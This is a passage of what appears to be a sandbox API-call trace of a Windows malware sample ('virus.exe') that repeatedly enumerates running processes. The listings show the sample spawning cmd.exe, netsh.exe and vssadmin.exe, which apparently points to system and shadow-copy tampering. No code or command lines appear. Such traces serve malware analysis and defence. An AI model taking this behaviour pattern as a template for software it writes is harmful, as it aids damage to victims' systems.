szExeFile="winlogon.exe")) returned 1 [0201.012] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.013] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.013] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0201.014] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.014] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.015] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.015] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.016] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.016] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.016] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.017] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.017] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.018] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.018] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.019] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.019] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.019] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0201.020] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0201.020] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.021] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.021] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.022] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0201.022] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.022] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.023] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.023] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.024] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0201.024] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0201.025] Process32NextW (in: hSnapshot=0x17c, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0201.025] CloseHandle (hObject=0x17c) returned 1 [0201.025] Sleep (dwMilliseconds=0x1f4) [0201.599] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c4 [0201.602] Process32FirstW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0201.602] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0201.603] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0201.603] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.603] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0201.604] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0201.604] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0201.605] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0201.605] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0201.606] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0201.606] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.607] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.607] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.607] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.608] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.609] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0201.609] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.610] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.610] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0201.611] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x464, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0201.611] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x450, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0201.612] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.612] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0201.612] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x59c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x480, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0201.613] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x58c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0201.613] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0201.614] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.614] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0201.615] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x6a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 1 [0201.615] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.616] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0201.616] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.616] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0201.617] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="netsh.exe")) returned 1 [0201.617] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x5fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0201.618] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0201.618] Process32NextW (in: hSnapshot=0x1c4, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0201.619] CloseHandle (hObject=0x1c4) returned 1 [0201.619] Sleep (dwMilliseconds=0x1f4) [0202.188] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1bc [0202.190] Process32FirstW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0202.190] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0202.190] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0202.191] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.191] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0202.191] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0202.192] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0202.192] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0202.193] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0202.193] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0202.193] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.194] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.194] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.194] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.195] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0202.195] Process32NextW (in: hSnapshot=0x1bc, lppe=0xdaf714 | out: lppe=0xdaf714*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, 